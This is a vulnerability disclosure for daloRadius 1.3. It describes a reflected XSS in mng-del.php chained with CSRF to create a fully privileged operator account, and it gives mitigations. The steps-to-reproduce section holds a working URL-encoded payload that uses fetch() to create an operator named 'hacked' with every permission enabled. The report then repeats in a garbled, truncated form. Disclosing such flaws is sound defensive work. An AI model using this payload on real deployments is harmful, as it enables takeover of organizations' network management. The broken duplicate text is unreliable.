dalorRadius XXS+CSRF to Full Account Take over
Platform : daloRadius
Repository : daloRadius github
Vulnerability : XSS+CSRF to create a new admin/operator account
Description
daloRadius 1.3 was vulnerable to XXS+CSRF to account takeover in the mng-del.php file because of an unescaped variable reflected in the DOM on line 116. I reported this vulnerability last week to all the maintainers of this repository and it was later found out by @filippolauria, the maintainer of this repository that this bug is not only found in line 116 but on a lot of other parts in the code, thanks to him for the quick and amazing patches.
Steps to Reproduce
- The vulnerabilitiy lies in the
/mng-del.php
file
- we can send a request like the following
http://<domain>/mng-del.php?username[]=a&username[]=%3C%2Ftd%3E%3Cimg+src+onerror%3D%22alert(document.domain)%22%3E
to pop a simple alert box.
- You can use the following payload to create a new operator account
- There are multiple forms which are vulnerable to CSRF
Payload: http://<domain>/mng-del.php?username[]=a&username[]=%3C%2Ftd%3E%3Cimg%20src%20onerror%3D%22fetch(%27http%3A%2F%2F<domain>%2Fconfig-operators-new.php%27%2C%7Bmethod%3A%27POST%27%2Cheaders%3A%7B%27Content-Type%27%3A%20%27application%2Fx-www-form-urlencoded%27%2C%7D%2Cbody%3A%27operator_username%3Dhacked%26operator_password%3Dhacked%26submit%3DApply%26firstname%3D%26lastname%3D%26title%3D%26department%3D%26company%3D%26phone1%3D%26phone2%3D%26email1%3D%26email2%3D%26messenger1%3D%26messenger2%3D%26notes%3D%26ACL_acct_custom_query%3D1%26ACL_acct_all%3D1%26ACL_acct_username%3D1%26ACL_acct_nasipaddress%3D1%26ACL_acct_active%3D1%26ACL_acct_ipaddress%3D1%26ACL_acct_date%3D1%26ACL_acct_hotspot_compare%3D1%26ACL_acct_hotspot_accounting%3D1%26ACL_acct_maintenance_delete%3D1%26ACL_acct_maintenance_cleanup%3D1%26ACL_acct_plans_usage%3D1%26ACL_bill_history_query%3D1%26ACL_bill_invoice_new%3D1%26ACL_bill_invoice_del%3D1%26ACL_bill_invoice_report%3D1%26ACL_bill_invoice_list%3D1%26ACL_bill_invoice_edit%3D1%26ACL_bill_merchant_transactions%3D1%26ACL_bill_payment_types_edit%3D1%26ACL_bill_payment_types_del%3D1%26ACL_bill_payment_types_new%3D1%26ACL_bill_payment_types_list%3D1%26ACL_bill_payments_list%3D1%26ACL_bill_payments_new%3D1%26ACL_bill_payments_edit%3D1%26ACL_bill_payments_del%3D1%26ACL_bill_plans_del%3D1%26ACL_bill_plans_new%3D1%26ACL_bill_plans_list%3D1%26ACL_bill_plans_edit%3D1%26ACL_bill_pos_list%3D1%26ACL_bill_pos_edit%3D1%26ACL_bill_pos_del%3D1%26ACL_bill_pos_new%3D1%26ACL_bill_rates_new%3D1%26ACL_bill_rates_del%3D1%26ACL_bill_rates_date%3D1%26ACL_bill_rates_list%3D1%26ACL_bill_rates_edit%3D1%26ACL_config_backup_managebackups%3D1%26ACL_config_backup_createbackups%3D1%26ACL_config_interface%3D1%26ACL_config_user%3D1%26ACL_config_lang%3D1%26ACL_config_logging%3D1%26ACL_graphs_overall_upload%3D1%26ACL_graphs_overall_download%3D1%26ACL_graphs_alltime_traffic_compare%3D1%26ACL_mng_rad_attributes_list%3D1%26ACL_mng_rad_attributes_del%3D1%26ACL_mng_rad_attributes_search%3D1%26ACL_mng_rad_attributes_import%3D1%26ACL_mng_rad_attributes_edit%3D1%26ACL_mng_rad_attributes_new%3D1%26ACL_mng_batch_add%3D1%26ACL_mng_batch_del%3D1%26ACL_mng_batch_list%3D1%26ACL_mng_rad_groupreply_search%3D1%26ACL_mng_rad_groupreply_edit%3D1%26ACL_mng_rad_groupcheck_list%3D1%26ACL_mng_rad_groupreply_del%3D1%26ACL_mng_rad_groupcheck_del%3D1%26ACL_mng_rad_groupcheck_new%3D1%26ACL_mng_rad_groupreply_list%3D1%26ACL_mng_rad_groupcheck_search%3D1%26ACL_mng_rad_groupcheck_edit%3D1%26ACL_mng_rad_groupreply_new%3D1%26ACL_mng_hs_edit%3D1%26ACL_mng_hs_del%3D1%26ACL_mng_hs_list%3D1%26ACL_mng_hs_new%3D1%26ACL_mng_rad_hunt_edit%3D1%26ACL_mng_rad_hunt_new%3D1%26ACL_mng_rad_hunt_del%3D1%26ACL_mng_rad_hunt_list%3D1%26ACL_mng_rad_ippool_new%3D1%26ACL_mng_rad_ippool_list%3D1%26ACL_mng_rad_ippool_del%3D1%26ACL_mng_rad_ippool_edit%3D1%26ACL_mng_rad_nas_edit%3D1%26ACL_mng_rad_nas_del%3D1%26ACL_mng_rad_nas_list%3D1%26ACL_mng_rad_nas_new%3D1%26ACL_mng_rad_profiles_duplicate%3D1%26ACL_mng_rad_profiles_edit%3D1%26ACL_mng_rad_profiles_new%3D1%26ACL_mng_rad_profiles_list%3D1%26ACL_mng_rad_profiles_del%3D1%26ACL_mng_rad_proxys_new%3D1%26ACL_mng_rad_proxys_list%3D1%26ACL_mng_rad_proxys_del%3D1%26ACL_mng_rad_proxys_edit%3D1%26ACL_mng_rad_realms_new%3D1%26ACL_mng_rad_realms_list%3D1%26ACL_mng_rad_realms_del%3D1%26ACL_mng_rad_realms_edit%3D1%26ACL_mng_rad_usergroup_edit%3D1%26ACL_mng_rad_usergroup_del%3D1%26ACL_mng_rad_usergroup_list%3D1%26ACL_mng_rad_usergroup_list_user%3D1%26ACL_mng_rad_usergroup_new%3D1%26ACL_mng_new%3D1%26ACL_mng_batch%3D1%26ACL_mng_new_quick%3D1%26ACL_mng_del%3D1%26ACL_mng_import_users%3D1%26ACL_mng_edit%3D1%26ACL_mng_list_all%3D1%26ACL_mng_search%3D1%26ACL_rep_newusers%3D1%26ACL_rep_lastconnect%3D1%26ACL_rep_history%3D1%26ACL_rep_online%3D1%26ACL_rep_topusers%3D1%26ACL_rep_logs_radius%3D1%26ACL_rep_logs_system%3D1%26ACL_rep_logs_boot%3D1%26ACL_rep_logs_daloradius%3D1%26ACL_rep_stat_server%3D1%26ACL_rep_stat_raid%3D1%26ACL_rep_stat_services%3D1%26ACL_rep_stat_ups%3D1%26ACL_rep_stat_cron%3D1%27%2C%7D).then(r%3D%3Er.text()).then(r%3D%3Ealert(r))%22%3E
Severity
daloRadius is used by a number of organizations for managing Hotspots and general-purpose ISP deployments. An attacker can create an admin/operator
account using one click and take over the network of the organization. An attacker will be able to create new user accounts and delete existing ones and change network configurations.
Mitigation
- The CSRF vulnerability can be mitigated by making the daloRadius session cookie to samesite=Lax or by the implimentation of a CSRF token in all forms
- We can prevent the XSS by escaping it or by introducing a Content-Security policy
dalorRadius XXS+CSRF to Full Account Take over
Platform : daloRadius
Repository : daloRadius github
Vulnerability : XSS+CSRF to create a new admin/operator account
Description
daloRadius 1.3 was vulnerable to XXS+CSRF to account takeover in the mng-del.php file because of an unescaped variable reflected in the DOM on line 116. I reported this vulnerability last week to all the maintainers of this repository and it was later found out by @filippolauria, the maintainer of this repository that this bug is not only found in line 116 but on a lot of other parts in the code, thanks to him for the quick and amazing patches.
Steps to Reproduce
/mng-del.php
filehttp://<domain>/mng-del.php?username[]=a&username[]=%3C%2Ftd%3E%3Cimg+src+onerror%3D%22alert(document.domain)%22%3E
to pop a simple alert box.Severity
daloRadius is used by a number of organizations for managing Hotspots and general-purpose ISP deployments. An attacker can create an
admin/operator
account using one click and take over the network of the organization. An attacker will be able to create new user accounts and delete existing ones and change network configurations.Mitigation